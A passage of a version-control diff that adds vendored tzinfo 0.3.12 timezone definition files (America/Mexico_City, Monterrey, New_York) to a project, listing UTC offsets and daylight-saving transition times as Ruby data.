+          tz.transition 2016, 10, :o1, 1477814400
+          tz.transition 2017, 4, :o4, 1491123600
+          tz.transition 2017, 10, :o1, 1509264000
+          tz.transition 2018, 4, :o4, 1522573200
+          tz.transition 2018, 10, :o1, 1540713600
+          tz.transition 2019, 4, :o4, 1554627600
+          tz.transition 2019, 10, :o1, 1572163200
+          tz.transition 2020, 4, :o4, 1586077200
+          tz.transition 2020, 10, :o1, 1603612800
+          tz.transition 2021, 4, :o4, 1617526800
+          tz.transition 2021, 10, :o1, 1635667200
+          tz.transition 2022, 4, :o4, 1648976400
+          tz.transition 2022, 10, :o1, 1667116800
+          tz.transition 2023, 4, :o4, 1680426000
+          tz.transition 2023, 10, :o1, 1698566400
+          tz.transition 2024, 4, :o4, 1712480400
+          tz.transition 2024, 10, :o1, 1730016000
+          tz.transition 2025, 4, :o4, 1743930000
+          tz.transition 2025, 10, :o1, 1761465600
+          tz.transition 2026, 4, :o4, 1775379600
+          tz.transition 2026, 10, :o1, 1792915200
+          tz.transition 2027, 4, :o4, 1806829200
+          tz.transition 2027, 10, :o1, 1824969600
+          tz.transition 2028, 4, :o4, 1838278800
+          tz.transition 2028, 10, :o1, 1856419200
+          tz.transition 2029, 4, :o4, 1869728400
+          tz.transition 2029, 10, :o1, 1887868800
+          tz.transition 2030, 4, :o4, 1901782800
+          tz.transition 2030, 10, :o1, 1919318400
+          tz.transition 2031, 4, :o4, 1933232400
+          tz.transition 2031, 10, :o1, 1950768000
+          tz.transition 2032, 4, :o4, 1964682000
+          tz.transition 2032, 10, :o1, 1982822400
+          tz.transition 2033, 4, :o4, 1996131600
+          tz.transition 2033, 10, :o1, 2014272000
+          tz.transition 2034, 4, :o4, 2027581200
+          tz.transition 2034, 10, :o1, 2045721600
+          tz.transition 2035, 4, :o4, 2059030800
+          tz.transition 2035, 10, :o1, 2077171200
+          tz.transition 2036, 4, :o4, 2091085200
+          tz.transition 2036, 10, :o1, 2108620800
+          tz.transition 2037, 4, :o4, 2122534800
+          tz.transition 2037, 10, :o1, 2140070400
+          tz.transition 2038, 4, :o4, 19724143, 8
+          tz.transition 2038, 10, :o1, 14794367, 6
+          tz.transition 2039, 4, :o4, 19727055, 8
+          tz.transition 2039, 10, :o1, 14796551, 6
+          tz.transition 2040, 4, :o4, 19729967, 8
+          tz.transition 2040, 10, :o1, 14798735, 6
+          tz.transition 2041, 4, :o4, 19732935, 8
+          tz.transition 2041, 10, :o1, 14800919, 6
+          tz.transition 2042, 4, :o4, 19735847, 8
+          tz.transition 2042, 10, :o1, 14803103, 6
+          tz.transition 2043, 4, :o4, 19738759, 8
+          tz.transition 2043, 10, :o1, 14805287, 6
+          tz.transition 2044, 4, :o4, 19741671, 8
+          tz.transition 2044, 10, :o1, 14807513, 6
+          tz.transition 2045, 4, :o4, 19744583, 8
+          tz.transition 2045, 10, :o1, 14809697, 6
+          tz.transition 2046, 4, :o4, 19747495, 8
+          tz.transition 2046, 10, :o1, 14811881, 6
+          tz.transition 2047, 4, :o4, 19750463, 8
+          tz.transition 2047, 10, :o1, 14814065, 6
+          tz.transition 2048, 4, :o4, 19753375, 8
+          tz.transition 2048, 10, :o1, 14816249, 6
+          tz.transition 2049, 4, :o4, 19756287, 8
+          tz.transition 2049, 10, :o1, 14818475, 6
+          tz.transition 2050, 4, :o4, 19759199, 8
+          tz.transition 2050, 10, :o1, 14820659, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,144 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Mexico_City
+        include TimezoneDefinition
+        
+        timezone 'America/Mexico_City' do |tz|
+          tz.offset :o0, -23796, 0, :LMT
+          tz.offset :o1, -25200, 0, :MST
+          tz.offset :o2, -21600, 0, :CST
+          tz.offset :o3, -21600, 3600, :CDT
+          tz.offset :o4, -21600, 3600, :CWT
+          
+          tz.transition 1922, 1, :o1, 58153339, 24
+          tz.transition 1927, 6, :o2, 9700171, 4
+          tz.transition 1930, 11, :o1, 9705183, 4
+          tz.transition 1931, 5, :o2, 9705855, 4
+          tz.transition 1931, 10, :o1, 9706463, 4
+          tz.transition 1932, 4, :o2, 58243171, 24
+          tz.transition 1939, 2, :o3, 9717199, 4
+          tz.transition 1939, 6, :o2, 58306553, 24
+          tz.transition 1940, 12, :o3, 9719891, 4
+          tz.transition 1941, 4, :o2, 58322057, 24
+          tz.transition 1943, 12, :o4, 9724299, 4
+          tz.transition 1944, 5, :o2, 58349081, 24
+          tz.transition 1950, 2, :o3, 9733299, 4
+          tz.transition 1950, 7, :o2, 58403825, 24
+          tz.transition 1996, 4, :o3, 828864000
+          tz.transition 1996, 10, :o2, 846399600
+          tz.transition 1997, 4, :o3, 860313600
+          tz.transition 1997, 10, :o2, 877849200
+          tz.transition 1998, 4, :o3, 891763200
+          tz.transition 1998, 10, :o2, 909298800
+          tz.transition 1999, 4, :o3, 923212800
+          tz.transition 1999, 10, :o2, 941353200
+          tz.transition 2000, 4, :o3, 954662400
+          tz.transition 2000, 10, :o2, 972802800
+          tz.transition 2001, 5, :o3, 989136000
+          tz.transition 2001, 9, :o2, 1001833200
+          tz.transition 2002, 4, :o3, 1018166400
+          tz.transition 2002, 10, :o2, 1035702000
+          tz.transition 2003, 4, :o3, 1049616000
+          tz.transition 2003, 10, :o2, 1067151600
+          tz.transition 2004, 4, :o3, 1081065600
+          tz.transition 2004, 10, :o2, 1099206000
+          tz.transition 2005, 4, :o3, 1112515200
+          tz.transition 2005, 10, :o2, 1130655600
+          tz.transition 2006, 4, :o3, 1143964800
+          tz.transition 2006, 10, :o2, 1162105200
+          tz.transition 2007, 4, :o3, 1175414400
+          tz.transition 2007, 10, :o2, 1193554800
+          tz.transition 2008, 4, :o3, 1207468800
+          tz.transition 2008, 10, :o2, 1225004400
+          tz.transition 2009, 4, :o3, 1238918400
+          tz.transition 2009, 10, :o2, 1256454000
+          tz.transition 2010, 4, :o3, 1270368000
+          tz.transition 2010, 10, :o2, 1288508400
+          tz.transition 2011, 4, :o3, 1301817600
+          tz.transition 2011, 10, :o2, 1319958000
+          tz.transition 2012, 4, :o3, 1333267200
+          tz.transition 2012, 10, :o2, 1351407600
+          tz.transition 2013, 4, :o3, 1365321600
+          tz.transition 2013, 10, :o2, 1382857200
+          tz.transition 2014, 4, :o3, 1396771200
+          tz.transition 2014, 10, :o2, 1414306800
+          tz.transition 2015, 4, :o3, 1428220800
+          tz.transition 2015, 10, :o2, 1445756400
+          tz.transition 2016, 4, :o3, 1459670400
+          tz.transition 2016, 10, :o2, 1477810800
+          tz.transition 2017, 4, :o3, 1491120000
+          tz.transition 2017, 10, :o2, 1509260400
+          tz.transition 2018, 4, :o3, 1522569600
+          tz.transition 2018, 10, :o2, 1540710000
+          tz.transition 2019, 4, :o3, 1554624000
+          tz.transition 2019, 10, :o2, 1572159600
+          tz.transition 2020, 4, :o3, 1586073600
+          tz.transition 2020, 10, :o2, 1603609200
+          tz.transition 2021, 4, :o3, 1617523200
+          tz.transition 2021, 10, :o2, 1635663600
+          tz.transition 2022, 4, :o3, 1648972800
+          tz.transition 2022, 10, :o2, 1667113200
+          tz.transition 2023, 4, :o3, 1680422400
+          tz.transition 2023, 10, :o2, 1698562800
+          tz.transition 2024, 4, :o3, 1712476800
+          tz.transition 2024, 10, :o2, 1730012400
+          tz.transition 2025, 4, :o3, 1743926400
+          tz.transition 2025, 10, :o2, 1761462000
+          tz.transition 2026, 4, :o3, 1775376000
+          tz.transition 2026, 10, :o2, 1792911600
+          tz.transition 2027, 4, :o3, 1806825600
+          tz.transition 2027, 10, :o2, 1824966000
+          tz.transition 2028, 4, :o3, 1838275200
+          tz.transition 2028, 10, :o2, 1856415600
+          tz.transition 2029, 4, :o3, 1869724800
+          tz.transition 2029, 10, :o2, 1887865200
+          tz.transition 2030, 4, :o3, 1901779200
+          tz.transition 2030, 10, :o2, 1919314800
+          tz.transition 2031, 4, :o3, 1933228800
+          tz.transition 2031, 10, :o2, 1950764400
+          tz.transition 2032, 4, :o3, 1964678400
+          tz.transition 2032, 10, :o2, 1982818800
+          tz.transition 2033, 4, :o3, 1996128000
+          tz.transition 2033, 10, :o2, 2014268400
+          tz.transition 2034, 4, :o3, 2027577600
+          tz.transition 2034, 10, :o2, 2045718000
+          tz.transition 2035, 4, :o3, 2059027200
+          tz.transition 2035, 10, :o2, 2077167600
+          tz.transition 2036, 4, :o3, 2091081600
+          tz.transition 2036, 10, :o2, 2108617200
+          tz.transition 2037, 4, :o3, 2122531200
+          tz.transition 2037, 10, :o2, 2140066800
+          tz.transition 2038, 4, :o3, 14793107, 6
+          tz.transition 2038, 10, :o2, 59177467, 24
+          tz.transition 2039, 4, :o3, 14795291, 6
+          tz.transition 2039, 10, :o2, 59186203, 24
+          tz.transition 2040, 4, :o3, 14797475, 6
+          tz.transition 2040, 10, :o2, 59194939, 24
+          tz.transition 2041, 4, :o3, 14799701, 6
+          tz.transition 2041, 10, :o2, 59203675, 24
+          tz.transition 2042, 4, :o3, 14801885, 6
+          tz.transition 2042, 10, :o2, 59212411, 24
+          tz.transition 2043, 4, :o3, 14804069, 6
+          tz.transition 2043, 10, :o2, 59221147, 24
+          tz.transition 2044, 4, :o3, 14806253, 6
+          tz.transition 2044, 10, :o2, 59230051, 24
+          tz.transition 2045, 4, :o3, 14808437, 6
+          tz.transition 2045, 10, :o2, 59238787, 24
+          tz.transition 2046, 4, :o3, 14810621, 6
+          tz.transition 2046, 10, :o2, 59247523, 24
+          tz.transition 2047, 4, :o3, 14812847, 6
+          tz.transition 2047, 10, :o2, 59256259, 24
+          tz.transition 2048, 4, :o3, 14815031, 6
+          tz.transition 2048, 10, :o2, 59264995, 24
+          tz.transition 2049, 4, :o3, 14817215, 6
+          tz.transition 2049, 10, :o2, 59273899, 24
+          tz.transition 2050, 4, :o3, 14819399, 6
+          tz.transition 2050, 10, :o2, 59282635, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,131 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Monterrey
+        include TimezoneDefinition
+        
+        timezone 'America/Monterrey' do |tz|
+          tz.offset :o0, -24076, 0, :LMT
+          tz.offset :o1, -21600, 0, :CST
+          tz.offset :o2, -21600, 3600, :CDT
+          
+          tz.transition 1922, 1, :o1, 9692223, 4
+          tz.transition 1988, 4, :o2, 576057600
+          tz.transition 1988, 10, :o1, 594198000
+          tz.transition 1996, 4, :o2, 828864000
+          tz.transition 1996, 10, :o1, 846399600
+          tz.transition 1997, 4, :o2, 860313600
+          tz.transition 1997, 10, :o1, 877849200
+          tz.transition 1998, 4, :o2, 891763200
+          tz.transition 1998, 10, :o1, 909298800
+          tz.transition 1999, 4, :o2, 923212800
+          tz.transition 1999, 10, :o1, 941353200
+          tz.transition 2000, 4, :o2, 954662400
+          tz.transition 2000, 10, :o1, 972802800
+          tz.transition 2001, 5, :o2, 989136000
+          tz.transition 2001, 9, :o1, 1001833200
+          tz.transition 2002, 4, :o2, 1018166400
+          tz.transition 2002, 10, :o1, 1035702000
+          tz.transition 2003, 4, :o2, 1049616000
+          tz.transition 2003, 10, :o1, 1067151600
+          tz.transition 2004, 4, :o2, 1081065600
+          tz.transition 2004, 10, :o1, 1099206000
+          tz.transition 2005, 4, :o2, 1112515200
+          tz.transition 2005, 10, :o1, 1130655600
+          tz.transition 2006, 4, :o2, 1143964800
+          tz.transition 2006, 10, :o1, 1162105200
+          tz.transition 2007, 4, :o2, 1175414400
+          tz.transition 2007, 10, :o1, 1193554800
+          tz.transition 2008, 4, :o2, 1207468800
+          tz.transition 2008, 10, :o1, 1225004400
+          tz.transition 2009, 4, :o2, 1238918400
+          tz.transition 2009, 10, :o1, 1256454000
+          tz.transition 2010, 4, :o2, 1270368000
+          tz.transition 2010, 10, :o1, 1288508400
+          tz.transition 2011, 4, :o2, 1301817600
+          tz.transition 2011, 10, :o1, 1319958000
+          tz.transition 2012, 4, :o2, 1333267200
+          tz.transition 2012, 10, :o1, 1351407600
+          tz.transition 2013, 4, :o2, 1365321600
+          tz.transition 2013, 10, :o1, 1382857200
+          tz.transition 2014, 4, :o2, 1396771200
+          tz.transition 2014, 10, :o1, 1414306800
+          tz.transition 2015, 4, :o2, 1428220800
+          tz.transition 2015, 10, :o1, 1445756400
+          tz.transition 2016, 4, :o2, 1459670400
+          tz.transition 2016, 10, :o1, 1477810800
+          tz.transition 2017, 4, :o2, 1491120000
+          tz.transition 2017, 10, :o1, 1509260400
+          tz.transition 2018, 4, :o2, 1522569600
+          tz.transition 2018, 10, :o1, 1540710000
+          tz.transition 2019, 4, :o2, 1554624000
+          tz.transition 2019, 10, :o1, 1572159600
+          tz.transition 2020, 4, :o2, 1586073600
+          tz.transition 2020, 10, :o1, 1603609200
+          tz.transition 2021, 4, :o2, 1617523200
+          tz.transition 2021, 10, :o1, 1635663600
+          tz.transition 2022, 4, :o2, 1648972800
+          tz.transition 2022, 10, :o1, 1667113200
+          tz.transition 2023, 4, :o2, 1680422400
+          tz.transition 2023, 10, :o1, 1698562800
+          tz.transition 2024, 4, :o2, 1712476800
+          tz.transition 2024, 10, :o1, 1730012400
+          tz.transition 2025, 4, :o2, 1743926400
+          tz.transition 2025, 10, :o1, 1761462000
+          tz.transition 2026, 4, :o2, 1775376000
+          tz.transition 2026, 10, :o1, 1792911600
+          tz.transition 2027, 4, :o2, 1806825600
+          tz.transition 2027, 10, :o1, 1824966000
+          tz.transition 2028, 4, :o2, 1838275200
+          tz.transition 2028, 10, :o1, 1856415600
+          tz.transition 2029, 4, :o2, 1869724800
+          tz.transition 2029, 10, :o1, 1887865200
+          tz.transition 2030, 4, :o2, 1901779200
+          tz.transition 2030, 10, :o1, 1919314800
+          tz.transition 2031, 4, :o2, 1933228800
+          tz.transition 2031, 10, :o1, 1950764400
+          tz.transition 2032, 4, :o2, 1964678400
+          tz.transition 2032, 10, :o1, 1982818800
+          tz.transition 2033, 4, :o2, 1996128000
+          tz.transition 2033, 10, :o1, 2014268400
+          tz.transition 2034, 4, :o2, 2027577600
+          tz.transition 2034, 10, :o1, 2045718000
+          tz.transition 2035, 4, :o2, 2059027200
+          tz.transition 2035, 10, :o1, 2077167600
+          tz.transition 2036, 4, :o2, 2091081600
+          tz.transition 2036, 10, :o1, 2108617200
+          tz.transition 2037, 4, :o2, 2122531200
+          tz.transition 2037, 10, :o1, 2140066800
+          tz.transition 2038, 4, :o2, 14793107, 6
+          tz.transition 2038, 10, :o1, 59177467, 24
+          tz.transition 2039, 4, :o2, 14795291, 6
+          tz.transition 2039, 10, :o1, 59186203, 24
+          tz.transition 2040, 4, :o2, 14797475, 6
+          tz.transition 2040, 10, :o1, 59194939, 24
+          tz.transition 2041, 4, :o2, 14799701, 6
+          tz.transition 2041, 10, :o1, 59203675, 24
+          tz.transition 2042, 4, :o2, 14801885, 6
+          tz.transition 2042, 10, :o1, 59212411, 24
+          tz.transition 2043, 4, :o2, 14804069, 6
+          tz.transition 2043, 10, :o1, 59221147, 24
+          tz.transition 2044, 4, :o2, 14806253, 6
+          tz.transition 2044, 10, :o1, 59230051, 24
+          tz.transition 2045, 4, :o2, 14808437, 6
+          tz.transition 2045, 10, :o1, 59238787, 24
+          tz.transition 2046, 4, :o2, 14810621, 6
+          tz.transition 2046, 10, :o1, 59247523, 24
+          tz.transition 2047, 4, :o2, 14812847, 6
+          tz.transition 2047, 10, :o1, 59256259, 24
+          tz.transition 2048, 4, :o2, 14815031, 6
+          tz.transition 2048, 10, :o1, 59264995, 24
+          tz.transition 2049, 4, :o2, 14817215, 6
+          tz.transition 2049, 10, :o1, 59273899, 24
+          tz.transition 2050, 4, :o2, 14819399, 6
+          tz.transition 2050, 10, :o1, 59282635, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,282 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module New_York
+        include TimezoneDefinition
+        
+        timezone 'America/New_York' do |tz|
+          tz.offset :o0, -17762, 0, :LMT
+          tz.offset :o1, -18000, 0, :EST
+          tz.offset :o2, -18000, 3600, :EDT
+          tz.offset :o3, -18000, 3600, :EWT
+          tz.offset :o4, -18000, 3600, :EPT
+          
+          tz.transition 1883, 11, :o1, 57819197, 24
+          tz.transition 1918, 3, :o2, 58120411, 24
+          tz.transition 1918, 10, :o1, 9687575, 4
+          tz.transition 1919, 3, :o2, 58129147, 24
+          tz.transition 1919, 10, :o1, 9689031, 4
+          tz.transition 1920, 3, :o2, 58137883, 24
+          tz.transition 1920, 10, :o1, 9690515, 4
+          tz.transition 1921, 4, :o2, 58147291, 24
+          tz.transition 1921, 9, :o1, 9691831, 4
+          tz.transition 1922, 4, :o2, 58156195, 24
+          tz.transition 1922, 9, :o1, 9693287, 4
+          tz.transition 1923, 4, :o2, 58164931, 24
+          tz.transition 1923, 9, :o1, 9694771, 4
+          tz.transition 1924, 4, :o2, 58173667, 24
+          tz.transition 1924, 9, :o1, 9696227, 4
+          tz.transition 1925, 4, :o2, 58182403, 24
+          tz.transition 1925, 9, :o1, 9697683, 4
+          tz.transition 1926, 4, :o2, 58191139, 24
+          tz.transition 1926, 9, :o1, 9699139, 4
+          tz.transition 1927, 4, :o2, 58199875, 24
+          tz.transition 1927, 9, :o1, 9700595, 4
+          tz.transition 1928, 4, :o2, 58208779, 24
+          tz.transition 1928, 9, :o1, 9702079, 4
+          tz.transition 1929, 4, :o2, 58217515, 24
+          tz.transition 1929, 9, :o1, 9703535, 4
+          tz.transition 1930, 4, :o2, 58226251, 24
+          tz.transition 1930, 9, :o1, 9704991, 4
+          tz.transition 1931, 4, :o2, 58234987, 24
+          tz.transition 1931, 9, :o1, 9706447, 4
+          tz.transition 1932, 4, :o2, 58243723, 24
+          tz.transition 1932, 9, :o1, 9707903, 4
+          tz.transition 1933, 4, :o2, 58252627, 24
+          tz.transition 1933, 9, :o1, 9709359, 4
+          tz.transition 1934, 4, :o2, 58261363, 24
+          tz.transition 1934, 9, :o1, 9710843, 4
+          tz.transition 1935, 4, :o2, 58270099, 24
+          tz.transition 1935, 9, :o1, 9712299, 4
+          tz.transition 1936, 4, :o2, 58278835, 24
+          tz.transition 1936, 9, :o1, 9713755, 4
+          tz.transition 1937, 4, :o2, 58287571, 24
+          tz.transition 1937, 9, :o1, 9715211, 4
+          tz.transition 1938, 4, :o2, 58296307, 24
+          tz.transition 1938, 9, :o1, 9716667, 4
+          tz.transition 1939, 4, :o2, 58305211, 24
+          tz.transition 1939, 9, :o1, 9718123, 4
+          tz.transition 1940, 4, :o2, 58313947, 24
+          tz.transition 1940, 9, :o1, 9719607, 4
+          tz.transition 1941, 4, :o2, 58322683, 24
+          tz.transition 1941, 9, :o1, 9721063, 4
+          tz.transition 1942, 2, :o3, 58329595, 24
+          tz.transition 1945, 8, :o4, 58360379, 24
+          tz.transition 1945, 9, :o1, 9726915, 4
+          tz.transition 1946, 4, :o2, 58366531, 24
+          tz.transition 1946, 9, :o1, 9728371, 4
+          tz.transition 1947, 4, :o2, 58375267, 24
+          tz.transition 1947, 9, :o1, 9729827, 4
+          tz.transition 1948, 4, :o2, 58384003, 24
+          tz.transition 1948, 9, :o1, 9731283, 4
+          tz.transition 1949, 4, :o2, 58392739, 24
+          tz.transition 1949, 9, :o1, 9732739, 4
+          tz.transition 1950, 4, :o2, 58401643, 24
+          tz.transition 1950, 9, :o1, 9734195, 4
+          tz.transition 1951, 4, :o2, 58410379, 24
+          tz.transition 1951, 9, :o1, 9735679, 4
+          tz.transition 1952, 4, :o2, 58419115, 24
+          tz.transition 1952, 9, :o1, 9737135, 4
+          tz.transition 1953, 4, :o2, 58427851, 24
+          tz.transition 1953, 9, :o1, 9738591, 4
+          tz.transition 1954, 4, :o2, 58436587, 24
+          tz.transition 1954, 9, :o1, 9740047, 4
+          tz.transition 1955, 4, :o2, 58445323, 24
+          tz.transition 1955, 10, :o1, 9741643, 4
+          tz.transition 1956, 4, :o2, 58454227, 24
+          tz.transition 1956, 10, :o1, 9743099, 4
+          tz.transition 1957, 4, :o2, 58462963, 24
+          tz.transition 1957, 10, :o1, 9744555, 4
+          tz.transition 1958, 4, :o2, 58471699, 24
+          tz.transition 1958, 10, :o1, 9746011, 4
+          tz.transition 1959, 4, :o2, 58480435, 24
+          tz.transition 1959, 10, :o1, 9747467, 4
+          tz.transition 1960, 4, :o2, 58489171, 24
+          tz.transition 1960, 10, :o1, 9748951, 4
+          tz.transition 1961, 4, :o2, 58498075, 24
+          tz.transition 1961, 10, :o1, 9750407, 4
+          tz.transition 1962, 4, :o2, 58506811, 24
+          tz.transition 1962, 10, :o1, 9751863, 4
+          tz.transition 1963, 4, :o2, 58515547, 24
+          tz.transition 1963, 10, :o1, 9753319, 4
+          tz.transition 1964, 4, :o2, 58524283, 24
+          tz.transition 1964, 10, :o1, 9754775, 4
+          tz.transition 1965, 4, :o2, 58533019, 24
+          tz.transition 1965, 10, :o1, 9756259, 4
+          tz.transition 1966, 4, :o2, 58541755, 24
+          tz.transition 1966, 10, :o1, 9757715, 4
+          tz.transition 1967, 4, :o2, 58550659, 24
+          tz.transition 1967, 10, :o1, 9759171, 4
+          tz.transition 1968, 4, :o2, 58559395, 24
+          tz.transition 1968, 10, :o1, 9760627, 4
+          tz.transition 1969, 4, :o2, 58568131, 24
+          tz.transition 1969, 10, :o1, 9762083, 4
+          tz.transition 1970, 4, :o2, 9961200
+          tz.transition 1970, 10, :o1, 25682400
+          tz.transition 1971, 4, :o2, 41410800
+          tz.transition 1971, 10, :o1, 57736800
+          tz.transition 1972, 4, :o2, 73465200
+          tz.transition 1972, 10, :o1, 89186400
+          tz.transition 1973, 4, :o2, 104914800
+          tz.transition 1973, 10, :o1, 120636000
+          tz.transition 1974, 1, :o2, 126687600
+          tz.transition 1974, 10, :o1, 152085600
+          tz.transition 1975, 2, :o2, 162370800
+          tz.transition 1975, 10, :o1, 183535200
+          tz.transition 1976, 4, :o2, 199263600
+          tz.transition 1976, 10, :o1, 215589600
+          tz.transition 1977, 4, :o2, 230713200
+          tz.transition 1977, 10, :o1, 247039200
+          tz.transition 1978, 4, :o2, 262767600
+          tz.transition 1978, 10, :o1, 278488800
+          tz.transition 1979, 4, :o2, 294217200
+          tz.transition 1979, 10, :o1, 309938400
+          tz.transition 1980, 4, :o2, 325666800
+          tz.transition 1980, 10, :o1, 341388000
+          tz.transition 1981, 4, :o2, 357116400
+          tz.transition 1981, 10, :o1, 372837600
+          tz.transition 1982, 4, :o2, 388566000
+          tz.transition 1982, 10, :o1, 404892000
+          tz.transition 1983, 4, :o2, 420015600
+          tz.transition 1983, 10, :o1, 436341600
+          tz.transition 1984, 4, :o2, 452070000
+          tz.transition 1984, 10, :o1, 467791200
+          tz.transition 1985, 4, :o2, 483519600
+          tz.transition 1985, 10, :o1, 499240800
+          tz.transition 1986, 4, :o2, 514969200
+          tz.transition 1986, 10, :o1, 530690400
+          tz.transition 1987, 4, :o2, 544604400
+          tz.transition 1987, 10, :o1, 562140000
+          tz.transition 1988, 4, :o2, 576054000
+          tz.transition 1988, 10, :o1, 594194400
+          tz.transition 1989, 4, :o2, 607503600
+          tz.transition 1989, 10, :o1, 625644000
+          tz.transition 1990, 4, :o2, 638953200
+          tz.transition 1990, 10, :o1, 657093600
+          tz.transition 1991, 4, :o2, 671007600
+          tz.transition 1991, 10, :o1, 688543200
+          tz.transition 1992, 4, :o2, 702457200
+          tz.transition 1992, 10, :o1, 719992800
+          tz.transition 1993, 4, :o2, 733906800
+          tz.transition 1993, 10, :o1, 752047200
+          tz.transition 1994, 4, :o2, 765356400
+          tz.transition 1994, 10, :o1, 783496800
+          tz.transition 1995, 4, :o2, 796806000
+          tz.transition 1995, 10, :o1, 814946400
+          tz.transition 1996, 4, :o2, 828860400
+          tz.transition 1996, 10, :o1, 846396000
+          tz.transition 1997, 4, :o2, 860310000
+          tz.transition 1997, 10, :o1, 877845600
+          tz.transition 1998, 4, :o2, 891759600
+          tz.transition 1998, 10, :o1, 909295200
+          tz.transition 1999, 4, :o2, 923209200
+          tz.transition 1999, 10, :o1, 941349600
+          tz.transition 2000, 4, :o2, 954658800
+          tz.transition 2000, 10, :o1, 972799200
+          tz.transition 2001, 4, :o2, 986108400
+          tz.transition 2001, 10, :o1, 1004248800
+          tz.transition 2002, 4, :o2, 1018162800
+          tz.transition 2002, 10, :o1, 1035698400
+          tz.transition 2003, 4, :o2, 1049612400
+          tz.transition 2003, 10, :o1, 1067148000
+          tz.transition 2004, 4, :o2, 1081062000
+          tz.transition 2004, 10, :o1, 1099202400
+          tz.transition 2005, 4, :o2, 1112511600
+          tz.transition 2005, 10, :o1, 1130652000
+          tz.transition 2006, 4, :o2, 1143961200
+          tz.transition 2006, 10, :o1, 1162101600
+          tz.transition 2007, 3, :o2, 1173596400
+          tz.transition 2007, 11, :o1, 1194156000
+          tz.transition 2008, 3, :o2, 1205046000
+          tz.transition 2008, 11, :o1, 1225605600
+          tz.transition 2009, 3, :o2, 1236495600
+          tz.transition 2009, 11, :o1, 1257055200
+          tz.transition 2010, 3, :o2, 1268550000
+          tz.transition 2010, 11, :o1, 1289109600
+          tz.transition 2011, 3, :o2, 1299999600
+          tz.transition 2011, 11, :o1, 1320559200
+          tz.transition 2012, 3, :o2, 1331449200
+          tz.transition 2012, 11, :o1, 1352008800
+          tz.transition 2013, 3, :o2, 1362898800
+          tz.transition 2013, 11, :o1, 1383458400
+          tz.transition 2014, 3, :o2, 1394348400
+          tz.transition 2014, 11, :o1, 1414908000
+          tz.transition 2015, 3, :o2, 1425798000
+          tz.transition 2015, 11, :o1, 1446357600
+          tz.transition 2016, 3, :o2, 1457852400
+          tz.transition 2016, 11, :o1, 1478412000
+          tz.transition 2017, 3, :o2, 1489302000
+          tz.transition 2017, 11, :o1, 1509861600
+          tz.transition 2018, 3, :o2, 1520751600
+          tz.transition 2018, 11, :o1, 1541311200
+          tz.transition 2019, 3, :o2, 1552201200
+          tz.transition 2019, 11, :o1, 1572760800
+          tz.transition 2020, 3, :o2, 1583650800
+          tz.transition 2020, 11, :o1, 1604210400
+          tz.transition 2021, 3, :o2, 1615705200
+          tz.transition 2021, 11, :o1, 1636264800
+          tz.transition 2022, 3, :o2, 1647154800
+          tz.transition 2022, 11, :o1, 1667714400
+          tz.transition 2023, 3, :o2, 1678604400
+          tz.transition 2023, 11, :o1, 1699164000
+          tz.transition 2024, 3, :o2, 1710054000
+          tz.transition 2024, 11, :o1, 1730613600
+          tz.transition 2025, 3, :o2, 1741503600
+          tz.transition 2025, 11, :o1, 1762063200
+          tz.transition 2026, 3, :o2, 1772953200
+          tz.transition 2026, 11, :o1, 1793512800
+          tz.transition 2027, 3, :o2, 1805007600
+          tz.transition 2027, 11, :o1, 1825567200
+          tz.transition 2028, 3, :o2, 1836457200
+          tz.transition 2028, 11, :o1, 1857016800
+          tz.transition 2029, 3, :o2, 1867906800
+          tz.transition 2029, 11, :o1, 1888466400
+          tz.transition 2030, 3, :o2, 1899356400
+          tz.transition 2030, 11, :o1, 1919916000
+          tz.transition 2031, 3, :o2, 1930806000
+          tz.transition 2031, 11, :o1, 1951365600
+          tz.transition 2032, 3, :o2, 1962860400
+          tz.transition 2032, 11, :o1, 1983420000
+          tz.transition 2033, 3, :o2, 1994310000
+          tz.transition 2033, 11, :o1, 2014869600
+          tz.transition 2034, 3, :o2, 2025759600
+          tz.transition 2034, 11, :o1, 2046319200
+          tz.transition 2035, 3, :o2, 2057209200
+          tz.transition 2035, 11, :o1, 2077768800
+          tz.transition 2036, 3, :o2, 2088658800
+          tz.transition 2036, 11, :o1, 2109218400
+          tz.transition 2037, 3, :o2, 2120108400
+          tz.transition 2037, 11, :o1, 2140668000
+          tz.transition 2038, 3, :o2, 59171923, 24
+          tz.transition 2038, 11, :o1, 9862939, 4
+          tz.transition 2039, 3, :o2, 59180659, 24
+          tz.transition 2039, 11, :o1, 9864395, 4
